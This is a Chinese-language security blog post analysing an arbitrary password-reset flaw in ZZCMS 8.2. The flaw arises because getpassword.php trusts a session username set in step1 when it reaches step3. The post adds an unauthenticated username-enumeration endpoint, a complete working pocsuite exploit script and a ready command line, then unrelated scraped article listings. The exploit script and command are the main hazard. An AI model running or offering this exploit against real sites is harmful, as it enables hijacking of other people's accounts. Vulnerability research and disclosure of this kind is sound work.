前言

一个找回密码处的逻辑漏洞, 还是有点意思的。

正文

首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可

下面去 getpassword.php 里面看看, 首先包含了一些文件

conn.php 中,包含了 stopsqlin.php 会对参数进行过滤操作。

stopsqlin.php 中对参数的过滤

回到getpassword.php , 文件后面就开始进入 密码找回 功能的业务逻辑了。

找回密码功能分为3个部分

正常走一遍流程,期间用 burp 抓包



可以看到根据 action 来识别已经进行到了哪一步。以这个为线索去看代码,逻辑就非常清晰了。

我们直接来看看最后一步的代码

判断非常的简单, 只要

$action == "step3" && @$_SESSION['username'] != ''

接下来找 哪里修改了 $_SESSION['username'], 发现在 step1 的时候,用 POST 参数修改 $_SESSION['username']

于是利用思路

  • 首先进入 step1 , 设置 $_SESSION['username']为需要重置的用户名
  • 然后进入 step3 , 设置密码即可

同时该程序还有一个小问题,check_username_ajax.php  没有做 检查, 我们可以用它来枚举用户

pocsuite 写的 exp:

#!/usr/bin/python
# -*- coding: utf-8 -*- import string
import random
import time
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from pocsuite.lib.core.data import logger class HackZZcms(POCBase):
name = 'ZZcms ZZCMS8.2任意用户密码修改'
vulID = '1'
author = ['hac425']
vulType = 'remote-pass-change'
version = '1.0' # default version: 1.0
references = ['http://blog.hac425.top/2018/03/07/zzcms_8_2_rest_user_passwd.html']
desc = '''ZZcms ZZCMS8.2任意用户密码修改''' vulDate = '***'
createDate = '2018-03-07'
updateDate = '2018-03-07' appName = 'ZZcms'
appVersion = '8.2'
appPowerLink = 'http://www.zzcms.net/'
samples = [''] # 检查用户名是否存在
def _check_username(self, username):
target = self.url + "/ajax/check_username_ajax.php?id=" + username
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"} cont = req.get(target, headers=headers).content
if "用户名不存在" in cont:
return False
return True # 使得 SESSION 中存放好我们需要改密码的 用户名, 同时返回 PHPSESSID
def _get_session(self, url, username):
target = url + "/one/getpassword.php"
headers = {"Origin": url,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data = {"username": username, "username2": "yes", "action": "step1",
"yzm": "22", "yzm2": "yes", "submit": "\xe4\xb8\x8b\xe4\xb8\x80\xe6\xad\xa5"} res = req.post(target, headers=headers, data=data)
return res.cookies.get("PHPSESSID") # 重置密码
def _reset_passwd(self, url, password, phpsession):
target = url + "/one/getpassword.php"
cookies = {"PHPSESSID": phpsession}
headers = {"Origin": url, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data={"password": password, "password2": "yes", "action": "step3", "PwdConfirm": password, "PwdConfirm2": "yes", "submit": "\xe7\xa1\xae\xe5\xae\x9a"}
res = req.post(target, headers=headers, cookies=cookies, data=data)
# print res.content
return res.content def _attack(self):
"""attack mode"""
return self._verify() def _verify(self):
"""verify mode"""
# print self.params
result = {}
username = self.params['username']
password = self.params['password'] if self._check_username(username):
phpsession = self._get_session(self.url, username)
if "重置密码成功" in self._reset_passwd(self.url, password, phpsession):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
else:
logger.error("无该账号")
return self.parse_output(result) def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(result)
return output register(HackZZcms)

使用示例

pocsuite -r pocsuite_pocs/zzcms/zzcms_8_2_reset_any_user_passwd.py  -u http://hack.zzcms.top/ --extra-params "{'username': 'test', 'password':'xxxxdsg'}"

参考

http://getpass.cn/2018/03/06/zzcms-Any-user-password-changes-loopholes-code-points/

ZZCMS8.2 用户密码重置漏洞的更多相关文章

  1. Dbshop v1.3任意用户密码重置漏洞

    0x00 前言 年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题 0x01 漏洞简介 本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危. 1.找 ...

  2. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  3. Metinfo 5.3.19管理员密码重置漏洞复现

     Metinfo 5.3.19管理员密码重置漏洞 操作系统:Windows 10专业版   kali linux  网站环境:UPUPW 5.3 使用工具:burpsuite 1.7 beta 漏洞分 ...

  4. Linux root用户密码重置,远程登陆,文件基本属性

    Linux root用户密码重置,远程登陆,文件基本属性 忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码 ...

  5. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

  6. 任意用户密码重置的十种姿势=====>学习笔记!

    原学习视频链接:https://www.butian.net/School/content?id=214%E2%80%98 1.验证码不失效 原因:获取的验证码缺少时间限制,仅判断验证码是否不正确而未 ...

  7. Django实现用户密码重置

    使用Django内置的认证视图实现简单的通过邮箱重置密码的功能版本:django 1.11 在django.contrib.auth.views中提供了四个类视图用于密码重置 class Passwo ...

  8. PHPCMS v9.6.0 任意用户密码重置

    参考来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html 他分析的好像不对.我用我的在分析一次. 先来看poc: /inde ...

  9. Metinfo 5.x 管理员密码重置漏洞

    前言 在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的. 正文 首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件. 首先包含了 ../include/comm ...

随机推荐

  1. Fast Newman-FN算法以及模块度定义介绍

    一.社区的定义 Newman第一次提出模块度定义就是在2004年发表的这篇文章“fast algorithm for community structure in networks”,第一次用量化的公 ...

  2. 搜索类网站记录 && 代理服务器

    搜索类网站记录 && 代理服务器 技巧 1.使用site   我们在搜索的时候,其实不全依赖搜索引擎也是可以的, 比如我们要搜索一个 “中国” ,可以在搜索框输入   中国  site ...

  3. 现代cpu的合并写技术对程序的影响

    对于现代cpu而言,性能瓶颈则是对于内存的访问.cpu的速度往往都比主存的高至少两个数量级.因此cpu都引入了L1_cache与L2_cache,更加高端的cpu还加入了L3_cache.很显然,这个 ...

  4. EF基础知识小记五(一对多、多对多处理)

    本文主要讲EF一对多关系和多对多关系的建立 一.模型设计器 1.一对多关系 右键设计器新增关联 导航属性和外键属性可修改 2.多对多关系 右键设计器新增关联 模型设计完毕之后,根据右键设计器根据模型生 ...

  5. nginx+jwplayer配置flv/MP4点播系统, 视频拖动支持

    一 配置nginx 1. 下载 nginx 最新版 http://nginx.org/ 2. 安装依赖库, 以ubuntu为例 apt-get install libpcre3 libpcre3-de ...

  6. 剑指offer65:矩阵中的路径

    题目描述: 请设计一个函数,用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径.路径可以从矩阵中的任意一个格子开始,每一步可以在矩阵中向左,向右,向上,向下移动一个格子.如果一条路径经过了矩阵 ...

  7. spring之mvc原理分析及简单模拟实现

    在之前的一篇博客中已经简单的实现了spring的IOC和DI功能,本文将在之前的基础上实现mvc功能. 一 什么是MVC MVC简单的说就是一种软件实现的设计模式,将整个系统进行分层,M(model ...

  8. Spark Shell简单使用

    基础 Spark的shell作为一个强大的交互式数据分析工具,提供了一个简单的方式学习API.它可以使用Scala(在Java虚拟机上运行现有的Java库的一个很好方式)或Python.在Spark目 ...

  9. C# 接口用法

    一.接口定义 接口是指一组函数成员而不实现它们的引用类型,只能由类和结构来是实现,接口的作用就不阐述了 二.声明接口 interface IMyInterface //interface 是关键字,后 ...

  10. i.mx6 Android5.1.1 build解析

    参考资料:理解 Android Build 系统 把总结放前面: 1. 常用编译命令 make clean 执行清理,等同于:rm -rf out/. make sdk 编译出 Android 的 S ...